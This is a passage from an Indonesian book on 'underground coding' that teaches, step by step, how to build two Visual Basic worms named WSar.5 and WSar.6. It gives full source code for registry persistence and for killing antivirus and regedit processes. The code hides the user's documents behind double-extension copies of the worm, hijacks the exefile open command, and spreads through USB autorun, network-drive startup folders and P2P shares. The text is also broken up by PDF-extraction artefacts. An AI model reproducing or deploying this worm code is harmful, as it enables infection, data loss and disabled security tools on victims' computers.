Private Declare Function FindWindow Lib "user32" Alias _ "FindWindowA" (ByVal lpClassName As String, ByVal _ lpWindowName As String) As LongPrivate Declare Function PostMessage Lib "user32" Alias _ "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, ByVal lParam As Long) As LongPrivate Const WM_COMMAND As Long = &H111Private Const MIN_ALL As Long = 419Private Const MIN_ALL_UNDO As Long = 416

Public Sub MinimizeAll() Dim lngHwnd As Long lngHwnd = FindWindow("Shell_TrayWnd", vbNullString) Call PostMessage(lngHwnd, WM_COMMAND, MIN_ALL, 0&)End Sub

Page 171: Computer Worm 1 secret of underground coding

156Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 11. W

orm W

Sar.5

Public Sub RestoreAll() Dim lngHwnd As Long lngHwnd = FindWindow("Shell_TrayWnd", vbNullString) Call PostMessage(lngHwnd, WM_COMMAND, _ MIN_ALL_UNDO, 0&)End Sub

Untuk module mdlRegistryAPI, Anda bisa menggunakan module yang sama pada WSar.4, kemudian ketik kode program berikut ini pada module mdlWinForce:

Private Declare Function PostMessage Lib "user32" Alias _ "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, ByVal lParam As Long) As LongPrivate Declare Function EnumWindows& Lib "user32" (ByVal _ lpEnumFunc As Long, ByVal lParam As Long)Private Declare Function GetWindowText Lib "user32" Alias _ "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As _ String, ByVal cch As Long) As LongPrivate Declare Function IsWindowVisible& Lib "user32" (ByVal _ hwnd As Long)Private Declare Function GetParent& Lib "user32" (ByVal hwnd As _ Long)Private Declare Function EnableWindow Lib "user32" (ByVal hwnd _ As Long, ByVal fEnable As Long) As LongDim sPattern As String, hFind As LongConst WM_CLOSE = &H10

Private Function EnumWinProc(ByVal hwnd As Long, ByVal _ lParam As Long) As Long Dim k As Long, sName As String If IsWindowVisible(hwnd) And GetParent(hwnd) = 0 Then sName = Space$(128) k = GetWindowText(hwnd, sName, 128) If k > 0 Then sName = Left$(sName, k) If lParam = 0 Then sName = UCase(sName) If sName Like sPattern Then hFind = hwnd EnumWinProc = 0 Exit Function End If End If End If EnumWinProc = 1End Function

Private Function WinFind(ByVal sWild As String, Optional ByVal _ bMatchCase As Boolean = True) As Long sPattern = sWild If Not bMatchCase Then sPattern = UCase(sPattern) EnumWindows(AddressOf EnumWinProc, bMatchCase) WinFind = hFindEnd Function

Page 172: Computer Worm 1 secret of underground coding

157Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

11

Wor

m W

Sar

.5

Function WinQuit(ByVal WindowsTitle As String) On Error Resume Next hFind = 0 Dim wincap As Long Dim rtnval As Long wincap = WinFind("*" & WindowsTitle & "*", False) rtnval = PostMessage(wincap, WM_CLOSE, vbNull, vbNull)End Function

Function WinAble(ByVal WindowsTitle As String, ByVal value As Boolean) hFind = 0 On Error Resume Next Dim wincap As Long Dim rtnval As Long wincap = WinFind("*" & WindowsTitle & "*", False) rtnval = EnableWindow(wincap, value)End Function

Ketik kode program berikut ini pada object frmWSar5:

'WSar.5 by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Private Declare Function CopyFile Lib "kernel32" Alias _ "CopyFileA" (ByVal lpExistingFileName As String, ByVal _ lpNewFileName As String, ByVal bFailIfExists As Long) As LongPrivate Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As LongPrivate Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As LongPrivate SF As String * 255

Private Declare Function GetDriveType Lib "kernel32" Alias _ "GetDriveTypeA" (ByVal nDrive As String) As LongConst DRIVE_CDROM = 5Const DRIVE_FIXED = 3Const DRIVE_RAMDISK = 6Const DRIVE_REMOTE = 4Const DRIVE_REMOVABLE = 2

Private Sub Form_Load() If App.PrevInstance = True Then End If Len(Dir$("c:\dfinstall.log")) <> 0 Then End If Len(Dir$(SpecialFolder(0) & "\cntx\vpchelp.exe")) <> 0 _ Then End App.TaskVisible = False Call InfectSystem() If App.Path = "A:\" Or App.Path = "B:\" Then EndEnd Sub

Page 173: Computer Worm 1 secret of underground coding

158Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 11. W

orm W

Sar.5

Private Sub InfectSystem() On Error Resume Next Dim MainFolder As String MainFolder = SpecialFolder(0) & "\Config" MkDir(MainFolder) CopyFile(WormFile, MainFolder & "\" & "system32.exe", False) SetAttr(MainFolder & "\" & "system32.exe", vbHidden + vbSystem _ + vbReadOnly) CreateKey("HKEY_LOCAL_MACHINE\Software\Microsoft\W" & _ "indows\CurrentVersion\App Paths\LoadPowerProfile.EXE") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\App Paths\LoadPowerProfile.EXE", _ "", MainFolder & "\" & "system32.exe") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", "LoadPowerProfile", _ "LoadPowerProfile Rundll32.exe") SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", 2) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "HideFileExt", 1) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "SuperHidden", 1) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "ShowSuperHidden", 0) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "ClassicViewState", 0) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\CabinetState", _ "FullPath", 1)End Sub

Private Sub PayLoad() On Error Resume Next Dim UserDoc As String Dim eks As Integer UserDoc = GetStringValue("HKEY_CURRENT_USER\Softwa" & _ "re\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", _ "Personal") If Len(Dir$(UserDoc & "\*.doc")) <> 0 Then Shell("attrib +h +s +r " & UserDoc & "\*.doc") End IfEnd Sub

Private Sub tmrAntiDestroyer_Timer() On Error Resume Next WinQuit("vir") WinQuit("av") WinQuit("safe") WinQuit("start") WinQuit("process") WinQuit("spy")

Page 174: Computer Worm 1 secret of underground coding

159Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

11

Wor

m W

Sar

.5

WinQuit("autoruns") WinQuit("hijack") WinQuit("patrol") WinQuit("alarm") WinQuit("task") WinQuit("config") WinQuit("folder option") WinQuit("system") WinQuit("properties") WinQuit("watson") WinQuit("remov") WinQuit("scan") WinQuit("kill")End Sub

Private Sub tmrDisableWindow_Timer() On Error Resume Next WinAble("REG", False)End Sub

Private Sub tmrIseng_Timer() On Error Resume Next If (Right(Minute(Now), 1) = 5 Or Right(Minute(Now), 1) = 0) And _ Second(Now) = 13 Then Call MinimizeAll() End If If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() MsgBox("WSar.5 Ada Pada Komputer Anda", vbExclamation) End IfEnd Sub

Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValueEnd Function

Private Sub tmrSpreading_Timer() On Error Resume Next Dim filenya As String Dim NamaCantik As String Dim NamaAwal(10) As String NamaAwal(0) = "crack" NamaAwal(1) = "serial" NamaAwal(2) = "full"

Page 175: Computer Worm 1 secret of underground coding

160Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 11. W

orm W

Sar.5

NamaAwal(3) = "freeware" NamaAwal(4) = "tutorial" NamaAwal(5) = "software" NamaAwal(6) = "e-book" NamaAwal(7) = "keygen" NamaAwal(8) = "service pack" NamaAwal(9) = "update" Randomize()

Dim NamaTengah(20) As String NamaTengah(0) = "winamp" NamaTengah(1) = "winzip" NamaTengah(2) = "deepfreeze" NamaTengah(3) = "adobe reader" NamaTengah(4) = "vmware" NamaTengah(5) = "mirc" NamaTengah(6) = "kazaa" NamaTengah(7) = "transtool" NamaTengah(8) = "acdsee" NamaTengah(9) = "softice" NamaTengah(10) = "tweak ui" NamaTengah(11) = "alcohol 120%" NamaTengah(12) = "getright" NamaTengah(13) = "flash player" NamaTengah(14) = "winimage" NamaTengah(15) = "webshoot" NamaTengah(16) = "pdf factory" NamaTengah(17) = "shio" NamaTengah(18) = "horoskop" NamaTengah(19) = "zodiak" Randomize()

txtPath.Text = NamaAwal(Int(Rnd * 10)) & " " & NamaTengah(Int _ (Rnd * 20)) & " " & Year(Now) + 1 NamaCantik = txtPath.Text & ".exe"

Dim FolderDocu As String Dim FirstFile As String Dim FullDocu As String FolderDocu = GetStringValue("HKEY_CURRENT_USER\Soft" & _ "ware\Microsoft\Windows\CurrentVersion\Explorer\Shell Fol" & _ "ders", "Personal") txtPath.Text = FolderDocu txtPath2.Text = Dir(txtPath.Text & "\*.doc") FullDocu = txtPath.Text & "\" & txtPath2.Text FirstFile = Left(FullDocu, (Len(FullDocu) - 4)) If Len(txtPath2.Text) > 4 Then SetAttr(FullDocu, vbHidden) CopyFile(App.Path & "\" & App.EXEName & ".exe", FirstFile & _ ".zip .exe", False) SetAttr(FirstFile & ".zip .exe", vbNormal) End If

Dim i As Byte For i = 1 To Drive1.ListCount - 1

Page 176: Computer Worm 1 secret of underground coding

161Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

11

Wor

m W

Sar

.5

If GetDriveType(Drive1.List(i) & "\") = 2 Then If Len(Dir$(Drive1.List(i) & "\autorun.inf")) = 0 Then CopyFile(WormFile, Drive1.List(i) & "\SETUP.EXE", False) SetAttr(Drive1.List(i) & "\SETUP.EXE", vbReadOnly) filenya = Drive1.List(i) & "\autorun.inf"Open filenya For Output As #1Print #1, "[autorun]"Print #1, "OPEN=SETUP.EXE" Close(1) SetAttr(Drive1.List(i) & "\autorun.inf", vbReadOnly) End If End If Next i

If Second(Now) < 6 Then FileCopy(WormFile, "a:\" & NamaCantik) End IfEnd Sub

Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WNameEnd Function

Berikut penjelasan tentang kode program:

Diawali dengan beberapa pendeklarasian function API, yang ber-guna untuk mendapatkan direktori Windows dan direktori System Windows. Saat form di-load, worm memeriksa file "c:\dfinstall.log" yang menandakan keberadaan program DeepFreeze dan jika ternyata berhasil ditemukan maka worm akan mengakhiri proses file utama, demikian pula dengan program Virtual PC, worm akan memeriksa file yang secara default adalah "c:\windows\cntx\vpchelp.exe".

Procedure juga menyembunyikan proses dari taskbar, memanggil pro-cedure InfectSystem, dan mengakhiri proses jika ternyata file utama berada pada disket.

Pada procedure InfectSystem worm membuat salinan file utama ke suatu direktori yang secara default berada di "c:\windows\config" kemudian memanipulasi registry dengan menambahkan key HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVer-sion\App Paths\LoadPowerProfile.EXE dengan value yang mengarah

Page 177: Computer Worm 1 secret of underground coding

162Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 11. W

orm W

Sar.5

kepada file salinan tersebut dan menambahkan registry run dengan nama 'LoadPowerProfile’ dan value "LoadPowerProfile Rundll32.exe".

Sebenarnya untuk value bisa menggunakan "LoadPowerProfile" saja, sengaja penulis tambahkan string "Rundll32.exe" dibelakangnya yang merupakan suatu file system Windows, dengan harapan dapat menge-coh penganalisa worm apabila akhirnya berhasil mengakses registry. Terakhir memanipulasi beberapa nilai registry dengan tujuan men-jaga agar file System dan Hidden tetap tidak terlihat pada Windows Explorer.

Procedure PayLoad pada WSar.5 akan terlihat lebih berbahaya, karena worm ini terlihat seperti menghapus seluruh file yang ada pada folder My Documents, namun sesungguhnya worm hanya mengatur semua file yang ada pada folder tersebut menjadi Hidden, System dan Read only yang tidak akan terlihat melalui Windows Explorer atau kotak dialog Open Documents.

Timer tmrAntiDestroyer akan memanggil function WinQuit pada module mdlWinForce dengan menutup aplikasi yang pada title-nya mengandung kata vir, av, safe, start, process, spy, autoruns, hijack, patrol, alarm, task, config, folder option, system, properties, watson, remov, scan dan kill.

Timer tmrDisableWindow akan memanggil function WinAble pada module mdlWinForce dengan menonaktifkan mouse dan keyboard pada aplikasi yang title-nya mengandung string "REG".

Timer tmrIseng akan memanggil function MinimizeAll pada module mdlMinimize dengan me-minimize semua jendela aplikasi yang aktif setiap 5 menit, dan jika tanggal dan bulan sekarang adalah 13 Oktober maka secara otomatis mengeksekusi procedure PayLoad, kemudian menampilkan sebuah kotak pesan dengan isi pesan "WSar.5 Ada Pada Komputer Anda".

Procedure tmrSpreading_Timer akan membuat data array NamaAwal sebanyak 10 dan NamaTengah sebanyak 20. Worm kemudian akan menggunakan nama acak dan menggabungkan kedua data tersebut untuk dijadikan nama file worm yang baru.

Page 178: Computer Worm 1 secret of underground coding

163Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

11

Wor

m W

Sar

.5

Worm juga menambahkan bilangan tahun yang akan datang, sehingga apabila tahun sekarang adalah 2008 maka nilainya menjadi 2009, lihat contoh nama file berikut ini:

1. crack deepfreeze 2009.exe2. freeware transtool 2009.exe3. full softice 2009.exe

Procedure tmrSpreading_Timer kemudian mengatur nilai variabel FolderDocu dengan path My Documents yang didapatkan dari nilai registry, kemudian mengatur nilai properti Text pada txtPath dengan nilai yang sama pada variabel FolderDocu, mengatur nilai properti Text pada txtPath2 dengan suatu nilai berupa nama file dokumen Microsoft Word yang didapatkan dari function DIR dengan data dari nilai properti Text pada txtPath dan menambahkannya dengan string ".doc" sebagai ekstensinya, kemudian mengatur nilai variabel FullDocu dengan peng-gabungan nilai Text pada txtPath dan txtPath2, mengatur nilai variabel FirstFile menjadi nilai pada variabel FullDocu dengan terlebih dahulu menghilangkan 4 karakter disebelah kanan yang merupakan ekstensi file.

Jika jumlah karakter Text pada txtPath2 lebih besar dari 4, yang artinya ada file dokumen ditemukan maka procedure mengatur atribut file yang ada pada nilai variabel FullDocu menjadi Hidden, kemudian membuat salinan worm ke direktori tersebut dengan nama yang sama dan disertai dengan ekstensi ganda ".zip .exe" sekaligus mengatur atribut file salinan tersebut menjadi normal.

Selain itu worm akan membuat file konfigurasi AutoRun dengan nama file "autorun.inf" dan "setup.exe" disetiap removable disk (termasuk USB Flash Disk) yang terhubung, dengan tujuan agar removable disk yang terinfeksi secara otomatis akan menulari system komputer yang terhubung dengannya kemudian.

Jika detik sekarang lebih kecil dari 6 maka procedure membuat salinan worm ke drive A dengan nama file yang diambil secara acak.

Module mdlMinimize memanfaatkan function FindWindow dan PostMessage dari library user32, dengan membuat suatu function yang mengirimkan instruksi pada semua jendela aplikasi yang terbuka agar ter-minimize atau ter-maximize.

Page 179: Computer Worm 1 secret of underground coding

164Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 11. W

orm W

Sar.5

Module WinForce memanfaatkan function API PostMessage, Enum-Windows, GetWindowText, EnableWindow, GetParent dan IsWin-dowVisible dari library user32, dengan membuat suatu function yang memeriksa caption setiap jendela aplikasi yang terbuka, dan dari cap-tion yang ditentukan memungkinkan untuk menutup file tersebut atau membuatnya menjadi aktif/enable atau tidak aktif/disable.

Page 180: Computer Worm 1 secret of underground coding

165Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

12.

Wor

m W

Sar

.6

BAB 12WORM WSar.6

Worm ini bernama WSar.6 (worm dasar 6), menggunakan trik launcher yang disebut sebagai metode Shell Spawning, dimana worm akan aktif jika user mengeksekusi suatu file

dengan ekstensi tertentu.

Melalui WSar.6 penulis akan mendemonstrasikan metode Shell Spawning dengan memanfaatkan ekstensi exe (executable files).

Dengan teknik sedikit berbeda dengan worm sebelumnya, WSar.6 me-nutup aplikasi tidak dengan memanfaatkan title pada aplikasi, tetapi pada nama file aplikasi tersebut.

Metode ini menjadi sangat berguna apabila worm ingin menutup ap-likasi yang tidak memperlihatkan suatu jendela aplikasi apapun pada layar monitor. Contoh saja aplikasi antivirus, kenyataannya hampir semua aplikasi antivirus tidak menampilkan jendela aplikasi, bekerja secara background dan hanya menampilkan sebuah icon pada system tray saja.

Selain itu worm memanfaatkan shared folder pada aplikasi peer to peer dan berusaha membuat salinan pada direktori network yang di share.

Page 181: Computer Worm 1 secret of underground coding

166Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 12. W

orm W

Sar.6

12.1 ALGORITMAWSar.6 memiliki rutin-rutin yang akan melakukan tindakan-tindakan sebagai berikut:1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada

suatu system komputer2. Worm menyembunyikan dirinya dari task list3. Kemudian Worm memanipulasi registry dengan tujuan peman-

faatan metode Shell Spawning4. Saat menginfeksi suatu system komputer, worm akan membuat

salinan file utama ke direktori System Windows dengan nama loadsys.exe dengan menggunakan icon flash.ico

5. Worm secara otomatis akan menonaktifkan aplikasi yang memiliki nama file; regedit.exe, regedt32.exe, install.exe, setup.exe, rl.exe, sysmechanic.exe, msconfig.exe

6. Pada saat tertentu worm akan membuat salinan dirinya pada disket, shared folder pada aplikasi peer to peer atau pada network

7. Dampak lain yang ditimbulkan adalah setiap 5 menit apabila ap-likasi Notepad, Microsoft Word atau WordPad sedang aktif maka worm akan mengirimkan tulisan yang akan terketik sendiri pada halaman kerja aplikasi tersebut

8. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.6 Ada Pada Komputer Anda", kemudian secara otomatis melakukan proses shut down.

12.2 PEMROGRAMANBuat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, dan Application Title menjadi 'WSar.6’

Tambahkan 4 buah object Timer dan 3 buah Module, kemudian atur properti untuk masing-masing object tersebut sebagai berikut:

Page 182: Computer Worm 1 secret of underground coding

167Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

12.

Wor

m W

Sar

.6

Properti object Form1

Jenis Nilai KeteranganName frmWSar6 Mengatur nama form menjadi frmWSar6

Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.6 menggunakan icon flash.ico

ShowInTaskbar False Tidak menampilkan form pada taskbar

Visible False Tidak menampilkan form pada layar.

BorderStyle None Tidak memberikan garis tepi pada form

ControlBox False Tidak menggunakan control box

Properti object Timer1

Jenis Nilai KeteranganName tmrWinExit Mengatur nama Timer menjadi tmrWinExit

Enable True Pastikan Timer akan aktif saat form di-load

Interval 500 Setiap instruksi pada procedure Timer akan dieksekusi setiap setengah detik

Properti object Timer2

Jenis Nilai KeteranganName tmrSpreading Mengatur nama Timer menjadi tmrSpread-

ing

Enable True Pastikan Timer akan aktif saat form di-load

Interval 1000 Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 detik

Page 183: Computer Worm 1 secret of underground coding

168Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 12. W

orm W

Sar.6

Properti object Timer3

Jenis Nilai KeteranganName tmrIseng Mengatur nama Timer menjadi tmrIseng

Enable False Pastikan Timer tidak aktif saat form di-load

Interval 100 Setiap instruksi pada procedure Timer akan dieksekusi setiap 0.1 detik

Tag Woooy... kok ngetik sendiri neeh...

Tag ini akan digunakan pada procedure tmrIseng

Properti object Timer4

Jenis Nilai KeteranganName tmrIsengLauncher Mengatur nama Timer menjadi tmrIsen-

gLauncher

Enable True Pastikan Timer akan aktif saat form di-load

Interval 1000 Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik

Properti Module1

Jenis Nilai KeteranganName mdlWinExit Mengatur nama module menjadi mdlWinExit

Properti Module2

Jenis Nilai KeteranganName mdlWinFind Mengatur nama module menjadi mdlWinFind

Properti Module3

Jenis Nilai KeteranganName mdlRegistryAPI Mengatur nama module menjadi

mdlRegistryAPI

Page 184: Computer Worm 1 secret of underground coding

169Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

12.

Wor

m W

Sar

.6

Ketik kode program berikut ini pada module mdlWinExit:

Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" _ (ByVal lFlags As Long, ByVal lProcessID As Long) As LongPrivate Declare Function Process32First Lib "kernel32" (ByVal _ hSnapshot As Long, ByVal lppe As PROCESSENTRY32) As LongPrivate Declare Function Process32Next Lib "kernel32" (ByVal _ hSnapshot As Long, ByVal lppe As PROCESSENTRY32) As LongPrivate Declare Function OpenProcess Lib "kernel32" (ByVal _ dwDesiredAccess As Long, ByVal bInheritHandle As Long, _ ByVal dwProcessId As Long) As LongPrivate Declare Function TerminateProcess Lib "kernel32" (ByVal _ hProcess As Long, ByVal uExitCode As Long) As LongPrivate Const TH32CS_SNAPPROCESS As Long = 2&Private Const MAX_PATH As Integer = 260Private Type PROCESSENTRY32dwSize As LongcntUsage As Longth32ProcessID As Longth32DefaultHeapID As Longth32ModuleID As LongcntThreads As Longth32ParentProcessID As LongpcPriClassBase As LongdwFlags As LongszExeFile As String * MAX_PATHEnd Type

Public Function WinExit(ByVal sExeNam As String) Dim lLng As Long, lA As Long, lExCode As Long Dim procObj As PROCESSENTRY32 Dim hSnap As Long Dim lRet As Long hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0&) procObj.dwSize = Len(procObj) lRet = Process32First(hSnap, procObj) Do While Process32Next(hSnap, procObj) If InStr(1, LCase(procObj.szExeFile), LCase(sExeNam$)) > 0 Then lLng = OpenProcess(&H1, ByVal 0&, procObj.th32ProcessID) lA = TerminateProcess(lLng, lExCode) Exit Do End If LoopEnd Function

Page 185: Computer Worm 1 secret of underground coding

170Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 12. W

orm W

Sar.6

Untuk module mdlRegistryAPI, Anda bisa menggunakan module yang sama pada WSar.4, kemudian ketik kode program berikut ini pada module mdlWinFind:

Private Declare Function PostMessage Lib "user32" Alias _ "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, ByVal lParam As Long) As LongPrivate Declare Function EnumWindows& Lib "user32" (ByVal _ lpEnumFunc As Long, ByVal lParam As Long)Private Declare Function GetWindowText Lib "user32" Alias _ "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString _ As String, ByVal cch As Long) As LongPrivate Declare Function IsWindowVisible& Lib "user32" (ByVal _ hwnd As Long)Private Declare Function GetParent& Lib "user32" (ByVal hwnd As _ Long)Public Declare Function EnableWindow Lib "user32" (ByVal hwnd _ As Long, ByVal fEnable As Long) As LongDim sPattern As String, hFind As LongConst WM_CLOSE = &H10

Function EnumWinProc(ByVal hwnd As Long, ByVal lParam As _ Long) As Long Dim k As Long, sName As String If IsWindowVisible(hwnd) And GetParent(hwnd) = 0 Then sName = Space$(128) k = GetWindowText(hwnd, sName, 128) If k > 0 Then sName = Left$(sName, k) If lParam = 0 Then sName = UCase(sName) If sName Like sPattern Then hFind = hwnd EnumWinProc = 0 Exit Function End If End If End If EnumWinProc = 1End Function

Function WinFind(ByVal sWild As String, Optional ByVal bMatchCase As _ Boolean = True) As Long sPattern = sWild If Not bMatchCase Then sPattern = UCase(sPattern) EnumWindows(AddressOf EnumWinProc, bMatchCase) WinFind = hFindEnd Function

Page 186: Computer Worm 1 secret of underground coding

171Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

12.

Wor

m W

Sar

.6

Ketik kode program berikut ini pada object frmWSar6:

'WSar.6 by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As LongPrivate Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As LongPrivate SF As String * 255Dim bilangan As Integer

Private Sub Form_Load() On Error Resume Next Dim Spawning As Object App.TaskVisible = False Spawning = Command()Shell (Spawning), vbNormalFocus If App.PrevInstance = True Then End InfectSystem()End Sub

Private Sub InfectSystem() On Error Resume Next FileCopy(WormFile, SpecialFolder(1) & "\loadsys.exe") SetStringValue("HKEY_CLASSES_ROOT\exefile\shell\open\command", "", _ "loadsys.exe %1")End Sub

Private Sub InfectNet() On Error Resume Next Dim networm As String Dim i, nr, nrnd As Integer Dim fsos Dim fso Dim netdrv fsos = CreateObject("Scripting.FileSystemObject") fso = CreateObject("WScript.Network") netdrv = fso.EnumNetworkDrives Dim NV(5) As String NV(0) = "readit" NV(1) = "playit" NV(2) = "launchit" NV(3) = "startit" NV(4) = "buncit" Randomize() nr = Int(Rnd * 999) nrnd = Int(Rnd * 5) networm = NV(nrnd) & nr & ".exe"

Page 187: Computer Worm 1 secret of underground coding

172Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 12. W

orm W

Sar.6

If netdrv.Count <> 0 Then For i = 0 To netdrv.Count - 1 If InStr(netdrv.Item(i), "\") <> 0 Then

FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\windows\d" & _ "esktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\windows\S" & _ "tart Menu\Programs\startup\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\Administrator\Start Menu\Programs" & "\start" & _ "up\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\All Users\Start Menu\Programs\startup\" & _ networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\Default User\Start Menu\Programs\" & "startup\" _ & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\Administrator\Desktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\All Users\Desktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\Default User\Desktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\All Users\Start menu\Programs\Startup\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\All Users\Desktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\Administrator\Start menu\Programs\Startup\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\Administrator\Desktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\Default User\Start menu\Programs\Startup\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\Default User\Desktop\" & networm)) End If Next End IfEnd Sub

Private Sub tmrIseng_Timer() On Error Resume Next bilangan = bilangan + 1 SendKeys(Mid(tmrIseng.Tag, bilangan, 1)) If bilangan = Len(tmrIseng.Tag) Then tmrIseng.Enabled = False bilangan = 0 End If If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad()End Sub

Page 188: Computer Worm 1 secret of underground coding

173Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Bab

12.

Wor

m W

Sar

.6

Private Sub tmrIsengLauncher_Timer() On Error Resume Next If (Right(Minute(Now), 1) = 5 Or Right(Minute(Now), 1) = 0) And _ Second(Now) = 13 Then If WinFind("*pad*", False) <> 0 Or WinFind("*word*", False) <> _ 0 Then tmrIseng.Enabled = True End If End IfEnd Sub

Private Sub tmrSpreading_Timer() On Error Resume Next If (Minute(Now) = 16 Or Minute(Now) = 46) And Second(Now) = _ 13 Then Call PerToPer() End If If (Minute(Now) = 1 Or Minute(Now) = 31) And Second(Now) = _ 13 Then Call InfectNet() End If If (Right(Minute(Now), 1) = 2 Or Right(Minute(Now), 1) = 8) And _ Second(Now) = 13 Then Call InfectFloppy() End IfEnd Sub

Private Sub tmrWinExit_Timer() On Error Resume Next WinExit("regedit.exe") WinExit("regedt32.exe") WinExit("install.exe") WinExit("setup.exe") WinExit("rl.exe") WinExit("sysmechanic.exe") WinExit("msconfig.exe")End Sub

Private Sub PerToPer() On Error Resume Next

Dim wormname As String

Dim Filone(4) As String Filone(0) = "New Song Of " Filone(1) = "The Best Of " Filone(2) = "New Album Of " Filone(3) = "Greatest Song Of "

Dim Filtwo(8) As String Filtwo(0) = "Mariah Carey" Filtwo(1) = "M Jackson" Filtwo(2) = "Whitney" Filtwo(3) = "Metallica" Filtwo(4) = "Elvis Presley"

Page 189: Computer Worm 1 secret of underground coding

174Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 12. W

orm W

Sar.6

Filtwo(5) = "Kenny G" Filtwo(6) = "Aliyah" Filtwo(7) = "Bon Jovi"

